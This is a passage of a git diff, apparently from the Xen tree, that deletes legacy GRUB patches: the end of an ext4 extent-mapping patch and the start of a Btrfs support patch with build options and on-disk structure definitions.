-+	  if (!ext2_rdfsb(ei->ei_leaf_lo, DATABLOCK1))
-+	{
-+	  errnum = ERR_FSYS_CORRUPT;
-+	  return -1;
-+	}
-+	  eh = (struct ext4_extent_header*)DATABLOCK1;
-+  	}
-+
-+  /* depth==0, we come to the leaf */
-+  ex = ext4_ext_binsearch(eh, logical_block);
-+  if (ex->ee_start_hi)
-+	{/* 64bit physical block number not supported */
-+	  errnum = ERR_FILELENGTH;
-+	  return -1;
-+	}
-+  if ((ex->ee_block + ex->ee_len) < logical_block)
-+	{
-+	  errnum = ERR_FSYS_CORRUPT;
-+	  return -1;
-+	}
-+  return ex->ee_start_lo + logical_block - ex->ee_block;
-+
-+}
-+
- /* preconditions: all preconds of ext2fs_block_map */
- int
- ext2fs_read (char *buf, int len)
-@@ -468,6 +689,11 @@ ext2fs_read (char *buf, int len)
-       /* find the (logical) block component of our location */
-       logical_block = filepos >> EXT2_BLOCK_SIZE_BITS (SUPERBLOCK);
-       offset = filepos & (EXT2_BLOCK_SIZE (SUPERBLOCK) - 1);
-+      /* map extents enabled logical block number to physical fs on-disk block number */
-+      if (EXT4_HAS_INCOMPAT_FEATURE(SUPERBLOCK,EXT4_FEATURE_INCOMPAT_EXTENTS)
-+                    && INODE->i_flags & EXT4_EXTENTS_FL)
-+          map = ext4fs_block_map (logical_block);
-+      else
-       map = ext2fs_block_map (logical_block);
- #ifdef E2DEBUG
-       printf ("map=%d\n", map);
-@@ -552,7 +778,7 @@ ext2fs_dir (char *dirname)
-   int desc;			/* index within that group */
-   int ino_blk;			/* fs pointer of the inode's information */
-   int str_chk = 0;		/* used to hold the results of a string compare */
--  struct ext2_group_desc *gdp;
-+  struct ext4_group_desc *ext4_gdp;
-   struct ext2_inode *raw_inode;	/* inode info corresponding to current_ino */
- 
-   char linkbuf[PATH_MAX];	/* buffer for following symbolic links */
-@@ -598,8 +824,15 @@ ext2fs_dir (char *dirname)
- 	{
- 	  return 0;
- 	}
--      gdp = GROUP_DESC;
--      ino_blk = gdp[desc].bg_inode_table +
-+	  ext4_gdp = (struct ext4_group_desc *)( (__u8*)GROUP_DESC +
-+			  		desc * EXT2_DESC_SIZE(SUPERBLOCK));
-+	  if (EXT4_HAS_INCOMPAT_FEATURE(SUPERBLOCK, EXT4_FEATURE_INCOMPAT_64BIT)
-+		&& (! ext4_gdp->bg_inode_table_hi))
-+	{/* 64bit itable not supported */
-+	  errnum = ERR_FILELENGTH;
-+	  return -1;
-+	}
-+      ino_blk = ext4_gdp->bg_inode_table +
- 	(((current_ino - 1) % (SUPERBLOCK->s_inodes_per_group))
- 	 >> log2 (EXT2_INODES_PER_BLOCK (SUPERBLOCK)));
- #ifdef E2DEBUG
-@@ -676,7 +909,10 @@ ext2fs_dir (char *dirname)
- 	    }
- 	  linkbuf[filemax + len] = '\0';
- 
--	  /* Read the symlink data. */
-+	  /* Read the symlink data.
-+	   * Slow symlink is extents enabled
-+	   * But since grub_read invokes ext2fs_read, nothing to change here
-+	   */
- 	  if (! ext2_is_fast_symlink ())
- 	    {
- 	      /* Read the necessary blocks, and reset the file pointer. */
-@@ -687,7 +923,9 @@ ext2fs_dir (char *dirname)
- 	    }
- 	  else
- 	    {
--	      /* Copy the data directly from the inode. */
-+	      /* Copy the data directly from the inode.
-+	       * Fast symlink is not extents enabled
-+	       */
- 	      len = filemax;
- 	      memmove (linkbuf, (char *) INODE->i_block, len);
- 	    }
-@@ -721,6 +959,13 @@ ext2fs_dir (char *dirname)
- 	      errnum = ERR_BAD_FILETYPE;
- 	      return 0;
- 	    }
-+	  /* if file is too large, just stop and report an error*/
-+	  if ( (INODE->i_flags & EXT4_HUGE_FILE_FL) && !(INODE->i_size_high))
-+	    {
-+		  /* file too large, stop reading */
-+		  errnum = ERR_FILELENGTH;
-+		  return 0;
-+	    }
- 
- 	  filemax = (INODE->i_size);
- 	  return 1;
-@@ -775,17 +1020,28 @@ ext2fs_dir (char *dirname)
- 	    }
- 
- 	  /* else, find the (logical) block component of our location */
-+	  /* ext4 logical block number the same as ext2/3 */
- 	  blk = loc >> EXT2_BLOCK_SIZE_BITS (SUPERBLOCK);
- 
- 	  /* we know which logical block of the directory entry we are looking
- 	     for, now we have to translate that to the physical (fs) block on
- 	     the disk */
-+	  /* map extents enabled logical block number to physical fs on-disk block number */
-+	  if (EXT4_HAS_INCOMPAT_FEATURE(SUPERBLOCK,EXT4_FEATURE_INCOMPAT_EXTENTS)
-+                        && INODE->i_flags & EXT4_EXTENTS_FL)
-+              map = ext4fs_block_map (blk);
-+	  else
- 	  map = ext2fs_block_map (blk);
- #ifdef E2DEBUG
- 	  printf ("fs block=%d\n", map);
- #endif /* E2DEBUG */
- 	  mapblock2 = -1;
--	  if ((map < 0) || !ext2_rdfsb (map, DATABLOCK2))
-+	  if (map < 0)
-+	  {
-+	      *rest = ch;
-+	      return 0;
-+	  }
-+          if (!ext2_rdfsb (map, DATABLOCK2))
- 	    {
- 	      errnum = ERR_FSYS_CORRUPT;
- 	      *rest = ch;
diff --git a/stubdom/grub.patches/61btrfs.diff b/stubdom/grub.patches/61btrfs.diff
deleted file mode 100644
index ae8f866e50..0000000000
--- a/stubdom/grub.patches/61btrfs.diff
+++ /dev/null
@@ -1,3499 +0,0 @@
-diff -up grub-upstream.wip/AUTHORS.btrfs grub-upstream.wip/AUTHORS
---- grub-upstream.wip/AUTHORS.btrfs	2004-03-27 16:25:17.000000000 +0000
-+++ grub-upstream.wip/AUTHORS	2012-03-20 05:07:09.000000000 +0000
-@@ -41,6 +41,8 @@ Kristoffer Branemyr added VSTa filesyste
- 
- Serguei Tzukanov added JFS and XFS support.
- 
-+Edward Shishkin added Btrfs support.
-+
- Jason Thomas added Linux DAC960 support and support for hiding/unhiding
- logical partitions, and did a significant bugfix for the terminal stuff.
- 
-diff -up grub-upstream.wip/configure.ac.btrfs grub-upstream.wip/configure.ac
---- grub-upstream.wip/configure.ac.btrfs	2012-03-20 05:06:49.000000000 +0000
-+++ grub-upstream.wip/configure.ac	2012-03-20 05:07:09.000000000 +0000
-@@ -274,6 +274,13 @@ if test x"$enable_reiserfs" != xno; then
-   FSYS_CFLAGS="$FSYS_CFLAGS -DFSYS_REISERFS=1"
- fi
- 
-+AC_ARG_ENABLE(btrfs,
-+  [  --disable-btrfs         disable BtrFS support in Stage 2])
-+
-+if test x"$enable_btrfs" != xno; then
-+  FSYS_CFLAGS="$FSYS_CFLAGS -DFSYS_BTRFS=1"
-+fi
-+
- AC_ARG_ENABLE(vstafs,
-   [  --disable-vstafs        disable VSTa FS support in Stage 2])
- 
-diff -up grub-upstream.wip/grub/Makefile.am.btrfs grub-upstream.wip/grub/Makefile.am
---- grub-upstream.wip/grub/Makefile.am.btrfs	2005-02-02 20:38:19.000000000 +0000
-+++ grub-upstream.wip/grub/Makefile.am	2012-03-20 05:07:09.000000000 +0000
-@@ -8,7 +8,7 @@ endif
- 
- AM_CPPFLAGS = -DGRUB_UTIL=1 -DFSYS_EXT2FS=1 -DFSYS_FAT=1 -DFSYS_FFS=1 \
- 	-DFSYS_ISO9660=1 -DFSYS_JFS=1 -DFSYS_MINIX=1 -DFSYS_REISERFS=1 \
--	-DFSYS_UFS2=1 -DFSYS_VSTAFS=1 -DFSYS_XFS=1 \
-+	-DFSYS_BTRFS=1 -DFSYS_UFS2=1 -DFSYS_VSTAFS=1 -DFSYS_XFS=1 \
- 	-DUSE_MD5_PASSWORDS=1 -DSUPPORT_HERCULES=1 \
- 	$(SERIAL_FLAGS) -I$(top_srcdir)/stage2 \
- 	-I$(top_srcdir)/stage1 -I$(top_srcdir)/lib
-diff -up grub-upstream.wip/INSTALL.btrfs grub-upstream.wip/INSTALL
---- grub-upstream.wip/INSTALL.btrfs	2005-05-08 02:43:15.000000000 +0000
-+++ grub-upstream.wip/INSTALL	2012-03-20 05:07:09.000000000 +0000
-@@ -207,6 +207,9 @@ operates.
- `--disable-reiserfs'
-      Omit the ReiserFS support in Stage 2.
- 
-+`--disable-btrfs'
-+     Omit the BtrFS support in Stage 2.
-+
- `--disable-vstafs'
-      Omit the VSTa filesystem support in Stage 2.
- 
-diff -up /dev/null grub-upstream.wip/stage2/btrfs.h
---- /dev/null	2009-06-03 06:46:26.160951000 +0000
-+++ grub-upstream.wip/stage2/btrfs.h	2012-03-20 05:07:09.000000000 +0000
-@@ -0,0 +1,1413 @@
-+/* btrfs.h - an extraction from btrfs-progs-0.18/ctree.h into one file
-+ *
-+ * Copyright (C) 2007 Oracle.  All rights reserved.
-+ *
-+ * This program is free software; you can redistribute it and/or
-+ * modify it under the terms of the GNU General Public
-+ * License v2 as published by the Free Software Foundation.
-+ *
-+ * This program is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-+ * General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU General Public
-+ * License along with this program; If not, see <http://www.gnu.org/licenses/>
-+ */
-+
-+/* include/asm-i386/types.h */
-+
-+typedef __signed__ char __s8;
-+typedef unsigned char __u8;
-+typedef __signed__ short __s16;
-+typedef unsigned short __u16;
-+typedef __signed__ int __s32;
-+typedef unsigned int __u32;
-+typedef unsigned long long __u64;
-+typedef __signed__ long long __s64;
-+
-+typedef __s8 s8;
-+typedef __u8 u8;
-+typedef __u16 u16;
-+typedef __u32 u32;
-+typedef __u64 u64;
-+typedef __s64 s64;
-+
-+#define __bitwise
-+
-+typedef u16 __bitwise __le16;
-+typedef u32 __bitwise __le32;
-+typedef u64 __bitwise __le64;
-+
-+/* linux/posix_type.h */
-+typedef long linux_off_t;
-+
-+/* linux/little_endian.h */
-+#define cpu_to_le64(x) ((__u64) (x))
-+#define le64_to_cpu(x) ((__u64) (x))
-+#define cpu_to_le32(x) ((__u32) (x))
-+#define le32_to_cpu(x) ((__u32) (x))
-+#define cpu_to_le16(x) ((__u16) (x))
-+#define le16_to_cpu(x) ((__u16) (x))
-+#define le8_to_cpu(x) ((__u8) (x))
-+#define cpu_to_le8(x) ((__u8) (x))
-+
-+/* linux/stat.h */
-+#define S_IFMT  00170000
-+#define S_IFLNK  0120000
-+#define S_IFREG  0100000
-+#define S_IFDIR  0040000
-+#define S_ISLNK(m)     (((m) & S_IFMT) == S_IFLNK)
-+#define S_ISREG(m)      (((m) & S_IFMT) == S_IFREG)
-+#define S_ISDIR(m)      (((m) & S_IFMT) == S_IFDIR)
-+
-+struct btrfs_root;
-+#define BTRFS_MAGIC "_BHRfS_M"
-+
-+#define BTRFS_SUPER_INFO_OFFSET (64 * 1024)
-+#define BTRFS_SUPER_INFO_SIZE 4096
-+
-+#define BTRFS_SUPER_MIRROR_MAX  3
-+#define BTRFS_SUPER_MIRROR_SHIFT 12
-+
-+#define PATH_MAX                1024   /* include/linux/limits.h */
-+#define MAX_LINK_COUNT             5   /* number of symbolic links
-+                                          to follow */
-+#define BTRFS_MAX_LEVEL 8
-+#define BTRFS_ROOT_TREE_OBJECTID 1ULL
-+#define BTRFS_EXTENT_TREE_OBJECTID 2ULL
-+#define BTRFS_CHUNK_TREE_OBJECTID 3ULL
-+#define BTRFS_DEV_TREE_OBJECTID 4ULL
-+#define BTRFS_FS_TREE_OBJECTID 5ULL
-+#define BTRFS_ROOT_TREE_DIR_OBJECTID 6ULL
-+#define BTRFS_CSUM_TREE_OBJECTID 7ULL
-+
-+#define BTRFS_ORPHAN_OBJECTID -5ULL
-+#define BTRFS_TREE_LOG_OBJECTID -6ULL
-+#define BTRFS_TREE_LOG_FIXUP_OBJECTID -7ULL
-+#define BTRFS_TREE_RELOC_OBJECTID -8ULL
-+#define BTRFS_DATA_RELOC_TREE_OBJECTID -9ULL
-+#define BTRFS_EXTENT_CSUM_OBJECTID -10ULL
-+
-+#define BTRFS_MULTIPLE_OBJECTIDS -255ULL
-+#define BTRFS_FIRST_FREE_OBJECTID 256ULL
-+#define BTRFS_LAST_FREE_OBJECTID -256ULL
-+#define BTRFS_FIRST_CHUNK_TREE_OBJECTID 256ULL
-+#define BTRFS_DEV_ITEMS_OBJECTID 1ULL
-+
-+
-+#define BTRFS_NAME_LEN 255
-+#define BTRFS_CSUM_SIZE 32
-+#define BTRFS_CSUM_TYPE_CRC32  0
-+
-+static int btrfs_csum_sizes[] = { 4, 0 };
-+
-+/* four bytes for CRC32 */
-+#define BTRFS_CRC32_SIZE 4
-+#define BTRFS_EMPTY_DIR_SIZE 0
-+
-+#define BTRFS_FT_UNKNOWN       0
-+#define BTRFS_FT_REG_FILE      1
-+#define BTRFS_FT_DIR           2
-+#define BTRFS_FT_CHRDEV                3
-+#define BTRFS_FT_BLKDEV                4
-+#define BTRFS_FT_FIFO          5
-+#define BTRFS_FT_SOCK          6
-+#define BTRFS_FT_SYMLINK       7
-+#define BTRFS_FT_XATTR         8
-+#define BTRFS_FT_MAX           9
-+
-+#define BTRFS_UUID_SIZE 16
-+
-+#define BTRFS_DEFAULT_NUM_DEVICES     1
-+#define BTRFS_DEFAULT_NODE_SIZE       4096
-+#define BTRFS_DEFAULT_LEAF_SIZE       4096
-+#define BTRFS_NUM_CACHED_DEVICES      128
-+
-+#define WARN_ON(c)
-+#define cassert(cond) ({ switch (-1) { case (cond): case 0: break; } })
-+#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
-+
-+#define offsetof(type, memb) \
-+       ((unsigned long)(&((type *)0)->memb))
-+
-+struct btrfs_disk_key {
-+       __le64 objectid;
-+       u8 type;
-+       __le64 offset;
-+} __attribute__ ((__packed__));
-+
-+/* cpu key */
-+struct btrfs_key {
-+       u64 objectid;
-+       u8 type;
-+       u64 offset;
-+} __attribute__ ((__packed__));
-+
-+/* this represents a divice in a chunk tree */
-+struct btrfs_dev_item {
-+       __le64 devid; /* internal device id */
-+       __le64 total_bytes; /* size of the device */
-+       __le64 bytes_used;
-+       __le32 io_align; /* optimal io alignment */
-+       __le32 io_width; /* optimal io width */
-+       __le32 sector_size; /* minimal io size */
-+       __le64 type; /* type and info about this device */
-+       __le64 generation; /* expected generation */
-+        __le64 start_offset; /* of the partition on a device */
-+
-+       /* info for allocation decisions */
-+       __le32 dev_group;
-+
-+        u8 seek_speed; /* 0-100 (100 is fastest) */
-+       u8 bandwidth;  /* 0-100 (100 is fastest) */
-+
-+        u8 uuid[BTRFS_UUID_SIZE]; /* dev uuid generated by btrfs */
-+       u8 fsid[BTRFS_UUID_SIZE]; /* uuid of the host FS */
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_stripe {
-+       __le64 devid;
-+       __le64 offset;
-+       u8 dev_uuid[BTRFS_UUID_SIZE];
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_chunk {
-+       /* size of this chunk in bytes */
-+       __le64 length;
-+       __le64 owner; /* objectid of the root referincing this chunk */
-+       __le64 stripe_len;
-+       __le64 type;
-+       __le32 io_align; /* optimal io alignment for this chunk */
-+       __le32 io_width; /* optimal io width for this chunk */
-+       __le32 sector_size; /* minimal io size for this chunk */
-+       __le16 num_stripes;
-+       __le16 sub_stripes; /* sub stripes (for raid10) */
-+       struct btrfs_stripe stripe;
-+} __attribute__ ((__packed__));
-+
-+static inline unsigned long btrfs_chunk_item_size(int num_stripes)
-+{
-+       return sizeof(struct btrfs_chunk) +
-+               sizeof(struct btrfs_stripe) * (num_stripes - 1);
-+}
-+
-+#define BTRFS_FSID_SIZE 16
-+#define BTRFS_HEADER_FLAG_WRITTEN (1 << 0)
-+
-+struct btrfs_header {
-+       /* these first four must match the super block */
-+       u8 csum[BTRFS_CSUM_SIZE];
-+       u8 fsid[BTRFS_FSID_SIZE]; /* uuid of the host fs */
-+       __le64 bytenr; /* which block this node is supposed to live in */
-+       __le64 flags;
-+
-+       /* allowed to be different from the super from here on down */
-+       u8 chunk_tree_uuid[BTRFS_UUID_SIZE];
-+       __le64 generation;
-+       __le64 owner;
-+       __le32 nritems;
-+       u8 level;
-+} __attribute__ ((__packed__));
-+
-+#define BTRFS_NODEPTRS_PER_BLOCK(r) (((r)->nodesize - \
-+                               sizeof(struct btrfs_header)) / \
-+                               sizeof(struct btrfs_key_ptr))
-+#define __BTRFS_LEAF_DATA_SIZE(bs) ((bs) - sizeof(struct btrfs_header))
-+#define BTRFS_LEAF_DATA_SIZE(r) (__BTRFS_LEAF_DATA_SIZE(r->leafsize))
-+#define BTRFS_MAX_INLINE_DATA_SIZE(r) (BTRFS_LEAF_DATA_SIZE(r) - \
-+                                       sizeof(struct btrfs_item) - \
-+                                       sizeof(struct btrfs_file_extent_item))
-+
-+#define BTRFS_SUPER_FLAG_SEEDING       (1ULL << 32)
-+#define BTRFS_SUPER_FLAG_METADUMP      (1ULL << 33)
-+
-+/*
-+ * a portion of superblock which is used
-+ * for chunk translation (up to 14 chunks
-+ * with 3 stripes each.
-+ */
-+#define BTRFS_SYSTEM_CHUNK_ARRAY_SIZE 2048
-+#define BTRFS_LABEL_SIZE 256
-+
-+/*
-+ * the super block basically lists the main trees of the FS
-+ * it currently lacks any block count etc etc
-+ */
-+
-+struct btrfs_super_block {
-+       u8 csum[BTRFS_CSUM_SIZE];
-+       /* the first 3 fields must match struct btrfs_header */
-+       u8 fsid[BTRFS_FSID_SIZE];    /* FS specific uuid */
-+       __le64 bytenr; /* this block number */
-+       __le64 flags;
-+
-+       /* allowed to be different from the btrfs_header from here own down */
-+       __le64 magic;
-+       __le64 generation;
-+       __le64 root;        /* tree root */
-+       __le64 chunk_root;
-+       __le64 log_root;
-+
-+       /* this will help find the new super based on the log root */
-+       __le64 log_root_transid;
-+       __le64 total_bytes;
-+       __le64 bytes_used;
-+       __le64 root_dir_objectid;
-+       __le64 num_devices;
-+       __le32 sectorsize;
-+       __le32 nodesize;
-+       __le32 leafsize;
-+       __le32 stripesize;
-+       __le32 sys_chunk_array_size;
-+       __le64 chunk_root_generation;
-+       __le64 compat_flags;
-+       __le64 compat_ro_flags;
-+       __le64 incompat_flags;
-+       __le16 csum_type;
-+       u8 root_level;
-+       u8 chunk_root_level;
-+       u8 log_root_level;
-+       struct btrfs_dev_item dev_item;
-+
-+       char label[BTRFS_LABEL_SIZE];
-+
-+       /* future expansion */
-+       __le64 reserved[32];
-+       u8 sys_chunk_array[BTRFS_SYSTEM_CHUNK_ARRAY_SIZE];
-+} __attribute__ ((__packed__));
-+
-+/*
-+ * Compat flags that we support.  If any incompat flags are set other than the
-+ * ones specified below then we will fail to mount
-+ */
-+#define BTRFS_FEATURE_COMPAT_SUPP      0x0
-+#define BTRFS_FEATURE_COMPAT_RO_SUPP   0x0
-+#define BTRFS_FEATURE_INCOMPAT_SUPP    0x0
-+
-+/* Item header for per-leaf lookup */
-+struct btrfs_item {
-+       struct btrfs_disk_key key;
-+       __le32 offset;
-+       __le32 size;
-+} __attribute__ ((__packed__));
-+
-+/*
-+ * Format of the leaves:
-+ * [item0, item1....itemN] [free space] [dataN...data1, data0]
-+ */
-+struct btrfs_leaf {
-+       struct btrfs_header header;
-+       struct btrfs_item items[];
-+} __attribute__ ((__packed__));
-+
-+/*
-+ * keys-pointers pairs for per-node (non-leaf) lookup
-+ */
-+struct btrfs_key_ptr {
-+       struct btrfs_disk_key key;
-+       __le64 blockptr;
-+       __le64 generation;
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_node {
-+       struct btrfs_header header;
-+       struct btrfs_key_ptr ptrs[];
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_device {
-+	/* the internal btrfs device id */
-+	u64 devid;
-+	/* the internal grub device representation */
-+	unsigned long drive;
-+	unsigned long part;
-+	unsigned long length;
-+};
-+
-+struct extent_buffer {
-+       /* metadata */
-+       struct btrfs_device dev;
-+       u64 start;
-+       u64 dev_bytenr;
-+       u32 len;
-+       /* data */
-+       char *data;
-+};
-+
-+static inline void read_extent_buffer(struct extent_buffer *eb,
-+                                     void *dst, unsigned long start,
-+                                     unsigned long len)
-+{
-+       memcpy(dst, eb->data + start, len);
-+}
-+
-+static inline void write_extent_buffer(struct extent_buffer *eb,
-+                                      const void *src, unsigned long start,
-+                                      unsigned long len)
-+{
-+       memcpy(eb->data + start, src, len);
-+}
-+
-+/*
-+ * NOTE:
-+ * don't increase a number of levels for grub-0.97!
-+ */
-+typedef enum {
-+       FIRST_EXTERNAL_LOOKUP_POOL,
-+       SECOND_EXTERNAL_LOOKUP_POOL,
-+       INTERNAL_LOOKUP_POOL,
-+       LAST_LOOKUP_POOL
-+} lookup_pool_id;
-+
-+/*             Relationship between lookup pools:
-+ *  depth
-+ *
-+ *    ^             +----> INTERNAL <----+
-+ *    |             |                    |
-+ *    |             |                    |
-+ *    -        FIRST_EXTERNAL     SECOND_EXTERNAL
-+ */
-+
-+struct btrfs_path {
-+       lookup_pool_id lpid;
-+       struct extent_buffer nodes[BTRFS_MAX_LEVEL];
-+       int slots[BTRFS_MAX_LEVEL];
-+};
-+
-+/*
-+ * items in the extent btree are used to record the objectid of the
-+ * owner of the block and the number of references
-+ */
-+struct btrfs_extent_item {
-+       __le32 refs;
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_extent_ref {
-+       __le64 root;
-+       __le64 generation;
-+       __le64 objectid;
-+       __le32 num_refs;
-+} __attribute__ ((__packed__));
-+
-+/* dev extents record free space on individual devices.  The owner
-+ * field points back to the chunk allocation mapping tree that allocated
-+ * the extent.  The chunk tree uuid field is a way to double check the owner
-+ */
-+struct btrfs_dev_extent {
-+       __le64 chunk_tree;
-+       __le64 chunk_objectid;
-+       __le64 chunk_offset;
-+       __le64 length;
-+       u8 chunk_tree_uuid[BTRFS_UUID_SIZE];
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_inode_ref {
-+       __le64 index;
-+       __le16 name_len;
-+       /* name goes here */
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_timespec {
-+       __le64 sec;
-+       __le32 nsec;
-+} __attribute__ ((__packed__));
-+
-+typedef enum {
-+       BTRFS_COMPRESS_NONE = 0,
-+       BTRFS_COMPRESS_ZLIB = 1,
-+       BTRFS_COMPRESS_LAST = 2,
-+} btrfs_compression_type;
-+
-+/* we don't understand any encryption methods right now */
-+typedef enum {
-+       BTRFS_ENCRYPTION_NONE = 0,
-+       BTRFS_ENCRYPTION_LAST = 1,
-+} btrfs_encryption_type;
-+
-+struct btrfs_inode_item {
-+       /* nfs style generation number */
-+       __le64 generation;
-+       /* transid that last touched this inode */
-+       __le64 transid;
-+       __le64 size;
-+       __le64 nbytes;
-+       __le64 block_group;
-+       __le32 nlink;
-+       __le32 uid;
-+       __le32 gid;
-+       __le32 mode;
-+       __le64 rdev;
-+       __le64 flags;
-+
-+       /* modification sequence number for NFS */
-+       __le64 sequence;
-+
-+       /*
-+        * a little future expansion, for more than this we can
-+        * just grow the inode item and version it
-+        */
-+       __le64 reserved[4];
-+       struct btrfs_timespec atime;
-+       struct btrfs_timespec ctime;
-+       struct btrfs_timespec mtime;
-+       struct btrfs_timespec otime;
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_dir_item {
-+       struct btrfs_disk_key location;
-+       __le64 transid;
-+       __le16 data_len;
-+       __le16 name_len;
-+       u8 type;
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_root_item {
-+       struct btrfs_inode_item inode;
-+       __le64 generation;
-+       __le64 root_dirid;
-+       __le64 bytenr;
-+       __le64 byte_limit;
-+       __le64 bytes_used;
-+       __le64 last_snapshot;
-+       __le64 flags;
-+       __le32 refs;
-+       struct btrfs_disk_key drop_progress;
-+       u8 drop_level;
-+       u8 level;
-+} __attribute__ ((__packed__));
-+
-+/*
-+ * this is used for both forward and backward root refs
-+ */
-+struct btrfs_root_ref {
-+       __le64 dirid;
-+       __le64 sequence;
-+       __le16 name_len;
-+} __attribute__ ((__packed__));
-+
-+#define BTRFS_FILE_EXTENT_INLINE 0
-+#define BTRFS_FILE_EXTENT_REG 1
-+#define BTRFS_FILE_EXTENT_PREALLOC 2
-+
-+struct btrfs_file_extent_item {
-+       /*
-+        * transaction id that created this extent
-+        */
-+       __le64 generation;
-+       /*
-+        * max number of bytes to hold this extent in ram
-+        * when we split a compressed extent we can't know how big
-+        * each of the resulting pieces will be.  So, this is
-+        * an upper limit on the size of the extent in ram instead of
-+        * an exact limit.
-+        */
-+       __le64 ram_bytes;
-+
-+       /*
-+        * 32 bits for the various ways we might encode the data,
-+        * including compression and encryption.  If any of these
-+        * are set to something a given disk format doesn't understand
-+        * it is treated like an incompat flag for reading and writing,
-+        * but not for stat.
-+        */
-+       u8 compression;
-+       u8 encryption;
-+       __le16 other_encoding; /* spare for later use */
-+
-+       /* are we inline data or a real extent? */
-+       u8 type;
-+
-+       /*
-+        * disk space consumed by the extent, checksum blocks are included
-+        * in these numbers
-+        */
-+       __le64 disk_bytenr;
-+       __le64 disk_num_bytes;
-+       /*
-+        * the logical offset in file blocks (no csums)
-+        * this extent record is for.  This allows a file extent to point
-+        * into the middle of an existing extent on disk, sharing it
-+        * between two snapshots (useful if some bytes in the middle of the
-+        * extent have changed
-+        */
-+       __le64 offset;
-+       /*
-+        * the logical number of file blocks (no csums included)
-+        */
-+       __le64 num_bytes;
-+
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_csum_item {
-+       u8 csum;
-+} __attribute__ ((__packed__));
-+
-+/* tag for the radix tree of block groups in ram */
-+#define BTRFS_BLOCK_GROUP_DATA     (1 << 0)
-+#define BTRFS_BLOCK_GROUP_SYSTEM   (1 << 1)
-+#define BTRFS_BLOCK_GROUP_METADATA (1 << 2)
-+#define BTRFS_BLOCK_GROUP_RAID0    (1 << 3)
-+#define BTRFS_BLOCK_GROUP_RAID1    (1 << 4)
-+#define BTRFS_BLOCK_GROUP_DUP     (1 << 5)
-+#define BTRFS_BLOCK_GROUP_RAID10   (1 << 6)
-+
-+struct btrfs_block_group_item {
-+       __le64 used;
-+       __le64 chunk_objectid;
-+       __le64 flags;
-+} __attribute__ ((__packed__));
-+
-+/*
-+ * in ram representation of the tree.  extent_root is used for all allocations
-+ * and for the extent tree extent_root root.
-+ */
-+struct btrfs_root {
-+       struct extent_buffer   node;
-+       char                   data[4096];
-+       struct btrfs_root_item root_item;
-+       u64 objectid;
-+       
-+       /* data allocations are done in sectorsize units */
-+       u32 sectorsize;
-+
-+       /* node allocations are done in nodesize units */
-+       u32 nodesize;
-+
-+       /* leaf allocations are done in leafsize units */
-+       u32 leafsize;
-+
-+       /* leaf allocations are done in leafsize units */
-+       u32 stripesize;
-+};
-+
-+struct btrfs_file_info {
-+	struct btrfs_key key;
-+};
-+
-+struct btrfs_root;
-+struct btrfs_fs_devices;
-+struct btrfs_fs_info {
-+       u8 fsid[BTRFS_FSID_SIZE];
-+       struct btrfs_root fs_root;
-+       struct btrfs_root tree_root;
-+       struct btrfs_root chunk_root;
-+
-+       struct btrfs_file_info file_info; /* currently opened file */
-+       struct btrfs_path paths [LAST_LOOKUP_POOL];
-+
-+       char mbr[SECTOR_SIZE];
-+
-+       int sb_mirror;
-+       u64 sb_transid;
-+       struct btrfs_device sb_dev;
-+       struct btrfs_super_block sb_copy;
-+
-+       struct btrfs_device devices[BTRFS_NUM_CACHED_DEVICES + 1];
-+};
-+
-+/*
-+ * inode items have the data typically returned from stat and store other
-+ * info about object characteristics.  There is one for every file and dir in
-+ * the FS
-+ */
-+#define BTRFS_INODE_ITEM_KEY           1
-+#define BTRFS_INODE_REF_KEY            12
-+#define BTRFS_XATTR_ITEM_KEY           24
-+#define BTRFS_ORPHAN_ITEM_KEY          48
-+
-+#define BTRFS_DIR_LOG_ITEM_KEY  60
-+#define BTRFS_DIR_LOG_INDEX_KEY 72
-+/*
-+ * dir items are the name -> inode pointers in a directory.  There is one
-+ * for every name in a directory.
-+ */
-+#define BTRFS_DIR_ITEM_KEY     84
-+#define BTRFS_DIR_INDEX_KEY    96
-+
-+/*
-+ * extent data is for file data
-+ */
-+#define BTRFS_EXTENT_DATA_KEY  108
-+
-+/*
-+ * csum items have the checksums for data in the extents
-+ */
-+#define BTRFS_CSUM_ITEM_KEY    120
-+/*
-+ * extent csums are stored in a separate tree and hold csums for
-+ * an entire extent on disk.
-+ */
-+#define BTRFS_EXTENT_CSUM_KEY  128
-+
-+/*
-+ * root items point to tree roots.  There are typically in the root
-+ * tree used by the super block to find all the other trees
-+ */
-+#define BTRFS_ROOT_ITEM_KEY    132
-+
-+/*
-+ * root backrefs tie subvols and snapshots to the directory entries that
-+ * reference them
-+ */
-+#define BTRFS_ROOT_BACKREF_KEY 144
-+
-+/*
-+ * root refs make a fast index for listing all of the snapshots and
-+ * subvolumes referenced by a given root.  They point directly to the
-+ * directory item in the root that references the subvol
-+ */
-+#define BTRFS_ROOT_REF_KEY     156
-+
-+/*
-++ * extent items are in the extent map tree.  These record which blocks
-++ * are used, and how many references there are to each block
-++ */
-+#define BTRFS_EXTENT_ITEM_KEY  168
-+#define BTRFS_EXTENT_REF_KEY   180
-+
-+/*
-+ * block groups give us hints into the extent allocation trees.  Which
-+ * blocks are free etc etc
-+ */
-+#define BTRFS_BLOCK_GROUP_ITEM_KEY 192
-+
-+#define BTRFS_DEV_EXTENT_KEY   204
-+#define BTRFS_DEV_ITEM_KEY     216
-+#define BTRFS_CHUNK_ITEM_KEY   228
-+
-+/*
-+ * string items are for debugging.  They just store a short string of
-+ * data in the FS
-+ */
-+#define BTRFS_STRING_ITEM_KEY  253
-+/*
-+ * Inode flags
-+ */
-+#define BTRFS_INODE_NODATASUM          (1 << 0)
-+#define BTRFS_INODE_NODATACOW          (1 << 1)
-+#define BTRFS_INODE_READONLY           (1 << 2)
-+
-+#define read_eb_member(eb, ptr, type, member, result) (                        \
-+       read_extent_buffer(eb, (char *)(result),                        \
-+                          ((unsigned long)(ptr)) +                     \
